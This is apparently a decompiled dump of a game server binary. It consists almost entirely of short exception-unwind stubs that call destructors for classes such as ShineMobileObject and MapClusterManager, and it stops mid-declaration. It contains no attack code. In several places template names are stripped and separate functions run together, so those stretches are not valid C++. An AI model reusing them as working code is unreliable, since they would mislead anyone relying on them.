ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 56)); } //----- (00586240) -------------------------------------------------------- void __usercall _L157100(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 20)); } //----- (00586260) -------------------------------------------------------- void __usercall _L158368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586280) -------------------------------------------------------- void __usercall _L157623(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058628B) -------------------------------------------------------- void __usercall _L157624(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (005862A0) -------------------------------------------------------- void __usercall _L157937(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (005862C0) -------------------------------------------------------- void __usercall _L158060(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005862E0) -------------------------------------------------------- void __usercall _L158090(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005862E8) -------------------------------------------------------- void __usercall _L158091(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (005862F3) -------------------------------------------------------- void __usercall _L158092(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 36912)); } //----- (00586301) -------------------------------------------------------- void __usercall _L158093(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 73800)); } //----- (0058630F) -------------------------------------------------------- void __usercall _L158094(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 110688)); } //----- (0058631D) -------------------------------------------------------- void __usercall _L158095(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 147616)); } //----- (00586340) -------------------------------------------------------- void __usercall _L158211(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36908)); } //----- (0058634B) -------------------------------------------------------- void __usercall _L158212(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(a1 - 36904)); } //----- (00586360) -------------------------------------------------------- void __usercall _L158397(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00586368) -------------------------------------------------------- void __usercall _L158398(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00586373) -------------------------------------------------------- void __usercall _L158399(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 36912)); } //----- (00586381) -------------------------------------------------------- void __usercall _L158400(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 73800)); } //----- (0058638F) -------------------------------------------------------- void __usercall _L158401(int a1) { MapClusterManager::MapCluster::_MapCluster((MapClusterManager::MapCluster *)(*(_DWORD *)(a1 - 16) + 110688)); } //----- (005863B0) -------------------------------------------------------- void __usercall _L144355(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005863D0) -------------------------------------------------------- void __usercall _L144725(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005863F0) -------------------------------------------------------- void __usercall _L158184(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00586410) -------------------------------------------------------- void __usercall _L158229(int a1) { AxialListMobSuicide::_AxialListMobSuicide((AxialListMobSuicide *)(a1 - 20)); } //----- (00586430) -------------------------------------------------------- void __usercall _L158660(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (00586450) -------------------------------------------------------- void __usercall _L160443(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586470) -------------------------------------------------------- void __usercall _L158718(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00586490) -------------------------------------------------------- void __usercall _L158800(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (005864B0) -------------------------------------------------------- void __usercall _L159271(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005864B8) -------------------------------------------------------- void __usercall _L159272(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005864D0) -------------------------------------------------------- void __usercall _L159345(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005864D8) -------------------------------------------------------- void __usercall _L159346(int a1) { AxialListAggroAdjust::_AxialListAggroAdjust((AxialListAggroAdjust *)(a1 - 20)); } //----- (005864F0) -------------------------------------------------------- void __usercall _L159462(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (005864F8) -------------------------------------------------------- void __usercall _L159463(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00586500) -------------------------------------------------------- void __usercall _L159464(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (00586520) -------------------------------------------------------- void __usercall _L159715(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00586528) -------------------------------------------------------- void __usercall _L159716(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 40)); } //----- (00586540) -------------------------------------------------------- void __usercall _L159816(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00586548) -------------------------------------------------------- void __usercall _L159817(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00586560) -------------------------------------------------------- void __usercall _L160533(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00586568) -------------------------------------------------------- void __usercall _L160534_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00586580) -------------------------------------------------------- void __usercall _L160651(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (005865A0) -------------------------------------------------------- void __usercall _L160669(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005865C0) -------------------------------------------------------- void __usercall _L145328(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005865E0) -------------------------------------------------------- void __usercall _L145521(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00586600) -------------------------------------------------------- void __usercall _L145638(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0058660B) -------------------------------------------------------- void __usercall _L145641(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00586619) -------------------------------------------------------- void __usercall _L145642(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00586627) -------------------------------------------------------- void __usercall _L145643(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00586635) -------------------------------------------------------- void __usercall _L145644(int a1) { operator delete(*(void **)(a1 - 68060)); } //----- (00586650) -------------------------------------------------------- void __usercall _L158279(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586670) -------------------------------------------------------- void __usercall _L159743(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00586690) -------------------------------------------------------- void __usercall _L157903(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005866B0) -------------------------------------------------------- void __usercall _L156446(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005866D0) -------------------------------------------------------- void __usercall _L156700(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (005866F0) -------------------------------------------------------- void __usercall _L156604(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005866F8) -------------------------------------------------------- void __usercall _L156605(int a1) { MobTarget_AggroClear::_MobTarget_AggroClear((MobTarget_AggroClear *)(a1 - 24)); } //----- (00586710) -------------------------------------------------------- void __usercall _L156665(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 20)); } //----- (00586718) -------------------------------------------------------- void __usercall _L156666(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586730) -------------------------------------------------------- void __usercall _L156848(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00586738) -------------------------------------------------------- void __usercall _L156849(int a1) { MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis((MobTarget_EnemyAnalysis *)(a1 - 32)); } //----- (00586750) -------------------------------------------------------- void __usercall _L156934(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00586758) -------------------------------------------------------- void __usercall _L156935(int a1) { AxialListNearFriend::_AxialListNearFriend((AxialListNearFriend *)(a1 - 28)); } //----- (00586770) -------------------------------------------------------- void __usercall _L157117(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00586778) -------------------------------------------------------- void __usercall _L157118(int a1) { AxialListNPCTargetFind::_AxialListNPCTargetFind((AxialListNPCTargetFind *)(a1 - 28)); } //----- (00586790) -------------------------------------------------------- void __usercall _L157400(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005867B0) -------------------------------------------------------- void __usercall _L157662(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (005867D0) -------------------------------------------------------- void __usercall _L157847(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (005867D8) -------------------------------------------------------- void __usercall _L157857(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005867F0) -------------------------------------------------------- void __usercall _L156804(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586810) -------------------------------------------------------- void __usercall _L157065(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00586830) -------------------------------------------------------- void __usercall _L73349(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586850) -------------------------------------------------------- void __usercall _L156599_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586890) -------------------------------------------------------- void __usercall _L174324(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005868B0) -------------------------------------------------------- void __usercall _L161853(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005868D0) -------------------------------------------------------- void __usercall _L173791_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (005868F0) -------------------------------------------------------- void __usercall _L162285(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x10u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00586910) -------------------------------------------------------- void __usercall _L162308_0(int a1) { operator delete(*(void **)(a1 - 404)); } //----- (00586930) -------------------------------------------------------- void __usercall _L162343(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (00586950) -------------------------------------------------------- void __usercall _L163035_0(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00586970) -------------------------------------------------------- void __usercall _L162852_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00586990) -------------------------------------------------------- void __usercall _L163155_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 596)); } //----- (005869B0) -------------------------------------------------------- void __usercall _L163800(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005869D0) -------------------------------------------------------- void __usercall _L164555(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005869D8) -------------------------------------------------------- void __usercall _L164556(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 24), 0x64u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00586A00) -------------------------------------------------------- void __usercall _L165189(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); } //----- (00586A30) -------------------------------------------------------- void __usercall _L166147(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00586A70) -------------------------------------------------------- void __usercall _L169877(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00586A78) -------------------------------------------------------- void __usercall _L169903(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00586A90) -------------------------------------------------------- void __usercall _L170110(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586A98) -------------------------------------------------------- void __usercall _L170111(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (00586B10) -------------------------------------------------------- void __usercall _L171999(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00586B18) -------------------------------------------------------- void __usercall _L172000(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (00586B30) -------------------------------------------------------- void __usercall _L172497(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00586B38) -------------------------------------------------------- void __usercall _L172498(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (00586B50) -------------------------------------------------------- void __usercall _L173999_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 468)); } //----- (00586B5B) -------------------------------------------------------- void __usercall _L174000_0(int a1) { SafePointer::_SafePointer((SafePointer *)(a1 - 480)); } //----- (00586B70) -------------------------------------------------------- void __usercall _L155453(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586B90) -------------------------------------------------------- void __usercall _L155509(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (00586BB0) -------------------------------------------------------- void __usercall _L155546(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00586BD0) -------------------------------------------------------- void __usercall _L155597(int a1) { List::_List(*(ItemLotAnalyser::LotAnalyser **)(a1 - 16)); } //----- (00586BF0) -------------------------------------------------------- void __usercall _L148626(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586C10) -------------------------------------------------------- void __usercall _L153371(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00586C60) -------------------------------------------------------- void __usercall _L152231(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00586CC0) -------------------------------------------------------- void __usercall _L154218(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00586CCB) -------------------------------------------------------- void __usercall _L154219(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00586D00) -------------------------------------------------------- void __usercall _L158189(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain(*(MobTacticElement::MobActionNoBrain **)(a1 - 16)); } //----- (00586D08) -------------------------------------------------------- void __usercall _L158190(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00586D13) -------------------------------------------------------- void __usercall _L158191(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00586D30) -------------------------------------------------------- void __usercall _L162207(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586D50) -------------------------------------------------------- void __usercall _L159467(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00586D58) -------------------------------------------------------- void __usercall _L159468(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00586D70) -------------------------------------------------------- void __usercall _L159595(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 284)); } //----- (00586D90) -------------------------------------------------------- void __usercall _L159841(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00586DB0) -------------------------------------------------------- void __usercall _L160115(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00586DB8) -------------------------------------------------------- void __usercall _L160116(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00586DD0) -------------------------------------------------------- void __usercall _L160440(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00586DF0) -------------------------------------------------------- void __usercall _L160728(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00586E10) -------------------------------------------------------- void __usercall _L161018_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00586E30) -------------------------------------------------------- void __usercall _L161914(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00586E50) -------------------------------------------------------- void __usercall _L164193(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (00586EB0) -------------------------------------------------------- void __usercall _L164832_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 8)); } //----- (00586ED0) -------------------------------------------------------- void __usercall _L165068(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (00586EF0) -------------------------------------------------------- void __usercall _L165078(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { StaticVector::_StaticVector(*(StaticVector **)(a1 - 16)); } //----- (00586F30) -------------------------------------------------------- void __usercall _L165279(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (00586F38) -------------------------------------------------------- void __usercall _L165280(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00586F40) -------------------------------------------------------- void __usercall _L165281(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (00586F48) -------------------------------------------------------- unsigned int __cdecl _L165282() { unsigned int result; // eax@1 result = _S28_2 & 0xFFFFFFFE; _S28_2 &= 0xFFFFFFFEu; return result; } //----- (00586F56) -------------------------------------------------------- void __usercall _L165283(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00586F5E) -------------------------------------------------------- void __usercall _L165284(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (00586F70) -------------------------------------------------------- void __usercall _L143764(int a1) { MobTargetBout::_MobTargetBout(*(MobTargetNoBrain **)(a1 - 16)); } //----- (00586F90) -------------------------------------------------------- void __usercall _L144079(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00586FB0) -------------------------------------------------------- void __usercall _L143920(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00586FD0) -------------------------------------------------------- void __usercall _L156280(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00586FF0) -------------------------------------------------------- void __usercall _L155665(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00586FF8) -------------------------------------------------------- void __usercall _L155666(int a1) { AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove((AxialListBriefExchangerAtMove *)(a1 - 20)); } //----- (00587010) -------------------------------------------------------- void __usercall _L155799(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00587018) -------------------------------------------------------- void __usercall _L155800(int a1) { AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove((AxialListBriefDeleteAtMove *)(a1 - 20)); } //----- (00587030) -------------------------------------------------------- void __usercall _L155836(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00587038) -------------------------------------------------------- void __usercall _L155837(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (00587050) -------------------------------------------------------- void __usercall _L156030(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00587070) -------------------------------------------------------- void __usercall _L144198(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587090) -------------------------------------------------------- void __usercall _L158235(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005870B0) -------------------------------------------------------- void __usercall _L157390(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 556)); } //----- (005870D0) -------------------------------------------------------- void __usercall _L157503(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (005870F0) -------------------------------------------------------- void __usercall _L157626(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (00587110) -------------------------------------------------------- void __usercall _L157772(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00587130) -------------------------------------------------------- void __usercall _L157942(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 280)); } //----- (00587150) -------------------------------------------------------- void __usercall _L158038(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00587170) -------------------------------------------------------- void __usercall _L101354(int a1) { OptionReader::_OptionReader(*(OptionReader **)(a1 - 16)); } //----- (00587190) -------------------------------------------------------- void __usercall _L101479(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005871B0) -------------------------------------------------------- void __usercall _L101539(int a1) { operator delete(*(void **)(a1 - 148)); } //----- (005871D0) -------------------------------------------------------- void __usercall _L156207(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 220)); } //----- (005871F0) -------------------------------------------------------- void __usercall _L156448(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (00587210) -------------------------------------------------------- void __usercall _L156911(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587230) -------------------------------------------------------- void __usercall _L155944(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587250) -------------------------------------------------------- void __usercall _L156161(int a1) { List::_List(*(ItemLotAnalyser::LotAnalyser **)(a1 - 16)); } //----- (00587270) -------------------------------------------------------- void __usercall _L156124(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00587290) -------------------------------------------------------- void __usercall _L157001(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005872B0) -------------------------------------------------------- void __usercall _L147200(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005872D0) -------------------------------------------------------- void __usercall _L146667(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 188)); } //----- (005872F0) -------------------------------------------------------- void __usercall _L146904(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00587310) -------------------------------------------------------- void __usercall _L146955(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (00587318) -------------------------------------------------------- void __usercall _L146956(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 48)); } //----- (00587330) -------------------------------------------------------- void __usercall _L147163(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (00587350) -------------------------------------------------------- void __usercall _L147850(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587370) -------------------------------------------------------- void __usercall _L156275(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587390) -------------------------------------------------------- void __usercall _L155843(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (005873B0) -------------------------------------------------------- void __usercall _L156077(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (005873D0) -------------------------------------------------------- void __usercall _L155043(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (005873F0) -------------------------------------------------------- void __usercall _L147333(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587410) -------------------------------------------------------- void __usercall _L147712(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587430) -------------------------------------------------------- void __usercall _L74785(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00587450) -------------------------------------------------------- void __usercall _L74091(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00587470) -------------------------------------------------------- void __usercall _L74206(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00587490) -------------------------------------------------------- void __usercall _L74596(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005874B0) -------------------------------------------------------- void __usercall _L74638(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005874D0) -------------------------------------------------------- void __usercall _L74865(int a1) { Tracer::_Tracer(*(LinearStep **)(a1 - 16)); } //----- (005874F0) -------------------------------------------------------- void __usercall _L151165(int a1) { PineScriptReader::TokenReader::_TokenReader((PineScriptReader::TokenReader *)(a1 - 552)); } //----- (00587510) -------------------------------------------------------- void __usercall _L151719(int a1) { std::locale::facet::_facet(*(std::num_put > > **)(a1 - 148)); } //----- (00587530) -------------------------------------------------------- void __usercall _L155567(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00587550) -------------------------------------------------------- void __usercall _L164708(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00587570) -------------------------------------------------------- void __usercall _L152118(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (00587578) -------------------------------------------------------- void __usercall _L152119(int a1) { PineEventScriptNode::Term::_Term((PineEventScriptNode::Term *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00587583) -------------------------------------------------------- void __usercall _L152120(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator((PineEventScriptNode::CompareOperator *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (005875A0) -------------------------------------------------------- void __usercall _L152262(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (005875A8) -------------------------------------------------------- void __usercall _L152263(int a1) { PineEventScriptNode::Express::_Express((PineEventScriptNode::Express *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (005875B3) -------------------------------------------------------- void __usercall _L152264(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator((PineEventScriptNode::CompareOperator *)(*(_DWORD *)(a1 - 16) + 288)); } //----- (005875D0) -------------------------------------------------------- void __usercall _L153862(int a1) { std::_Mutex::__Mutex((std::_Mutex *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (005875F0) -------------------------------------------------------- void 